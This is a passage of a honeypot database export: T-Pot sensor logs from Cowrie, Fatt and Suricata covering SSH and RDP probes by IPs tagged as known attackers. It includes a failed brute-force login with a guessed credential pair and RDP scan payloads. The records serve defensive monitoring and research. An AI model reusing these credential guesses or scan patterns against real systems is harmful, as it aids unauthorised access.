32091	121.4.68.188	109.199.241.180	Fatt	2021-09-20 14:49:41.389892+03	2021-09-20 15:00:03.029717+03	{"_id": "MgYKA3wBvYTbRNuEWkhw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "121.4.68.188", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 57444, "dest_port": 22, "timestamp": "2021-09-20T11:49:41.389892", "@timestamp": "2021-09-20T11:49:41.389Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32092	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:49:42.579294+03	2021-09-20 15:00:03.031716+03	{"_id": "MwYKA3wBvYTbRNuEW0jJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.login.failed", "message": "login attempt [mumbleserver/mumbleserver] failed", "session": "e494b6ad8367", "@version": "1", "password": "mumbleserver", "username": "mumbleserver", "timestamp": "2021-09-20T11:49:42.579294Z", "@timestamp": "2021-09-20T11:49:42.579Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32093	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:49:46.603941+03	2021-09-20 15:00:03.032716+03	{"_id": "TQYKA3wBvYTbRNuEbEj3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:49:46.276690+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 728954555742418, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 57453, "dest_port": 3389, "timestamp": "2021-09-20T11:49:46.603941Z", "@timestamp": "2021-09-20T11:49:46.603Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
32094	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:49:47.285003+03	2021-09-20 15:00:03.033717+03	{"_id": "UwYKA3wBvYTbRNuEbUj8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 21953, "timestamp": "2021-09-20T11:49:47.285003", "@timestamp": "2021-09-20T11:49:47.285Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32095	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:49:47.283813+03	2021-09-20 15:00:03.034716+03	{"_id": "VgYKA3wBvYTbRNuEb0hV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "beda5f4e499a", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:49:47.283813Z", "@timestamp": "2021-09-20T11:49:47.283Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32096	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:49:41.118294+03	2021-09-20 15:00:03.036716+03	{"_id": "IgYKA3wBvYTbRNuEVkiH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "121.4.68.188", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57444, "timestamp": "2021-09-20T11:49:41.118294", "@timestamp": "2021-09-20T11:49:41.118Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32097	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:49:46.603941+03	2021-09-20 15:00:03.037716+03	{"_id": "UQYKA3wBvYTbRNuEbEj4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:49:46.276690+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 728954555742418, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 57453, "dest_port": 3389, "timestamp": "2021-09-20T11:49:46.603941Z", "@timestamp": "2021-09-20T11:49:46.603Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
32098	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:49:47.038849+03	2021-09-20 15:00:03.038717+03	{"_id": "UgYKA3wBvYTbRNuEbEj4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:49:46.276690+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 728954555742418, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 57453, "dest_port": 3389, "timestamp": "2021-09-20T11:49:47.038849Z", "@timestamp": "2021-09-20T11:49:47.038Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
32099	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:49:46.603941+03	2021-09-20 15:00:03.040717+03	{"_id": "VAYKA3wBvYTbRNuEbUj8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 57453, "dest_port": 3389, "timestamp": "2021-09-20T11:49:46.603941", "@timestamp": "2021-09-20T11:49:46.603Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
32100	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:49:47.281083+03	2021-09-20 15:00:03.041717+03	{"_id": "WQYKA3wBvYTbRNuEb0hV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:21953 (192.168.176.2:22) [session: beda5f4e499a]", "session": "beda5f4e499a", "@version": "1", "protocol": "ssh", "src_port": 21953, "dest_port": 22, "timestamp": "2021-09-20T11:49:47.281083Z", "@timestamp": "2021-09-20T11:49:47.281Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32101	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:49:41.117548+03	2021-09-20 15:00:03.043716+03	{"_id": "LgYKA3wBvYTbRNuEV0jg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "e494b6ad8367", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:49:41.117548Z", "@timestamp": "2021-09-20T11:49:41.117Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32102	157.240.9.18	109.199.241.180	Suricata	2021-09-20 14:49:31.462152+03	2021-09-20 15:00:03.044717+03	{"_id": "HQYKA3wBvYTbRNuEMkhX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:49:31.393870+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.18", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.18", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 499809459569294, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 34706, "timestamp": "2021-09-20T11:49:31.462152Z", "@timestamp": "2021-09-20T11:49:31.462Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32103	157.240.9.18	109.199.241.180	Suricata	2021-09-20 14:49:31.39387+03	2021-09-20 15:00:03.046716+03	{"_id": "HgYKA3wBvYTbRNuEMkhX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:49:31.393870+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.18", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.18", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 499809459569294, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 34706, "timestamp": "2021-09-20T11:49:31.393870Z", "@timestamp": "2021-09-20T11:49:31.393Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32104	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:49:50.13753+03	2021-09-20 15:00:03.047716+03	{"_id": "cgYKA3wBvYTbRNuEeEiv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 11874, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3284, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1050050606011307, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 33998, "timestamp": "2021-09-20T11:49:50.137530Z", "@timestamp": "2021-09-20T11:49:50.137Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32105	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:49:49.611692+03	2021-09-20 15:00:03.048717+03	{"_id": "cwYKA3wBvYTbRNuEeUi1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35726, "dest_port": 443, "timestamp": "2021-09-20T11:49:49.611692", "@timestamp": "2021-09-20T11:49:49.611Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32106	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:49:50.79654+03	2021-09-20 15:00:03.050716+03	{"_id": "hAYKA3wBvYTbRNuEe0gO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "986dfcc6610c", "@version": "1", "timestamp": "2021-09-20T11:49:50.796540Z", "@timestamp": "2021-09-20T11:49:50.796Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32107	159.89.194.160	109.199.241.180	Suricata	2021-09-20 14:49:50.795871+03	2021-09-20 15:00:03.051717+03	{"_id": "hwYKA3wBvYTbRNuEfEiZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:49:50.439094+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.89.194.160", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2161274609644342, "payload": 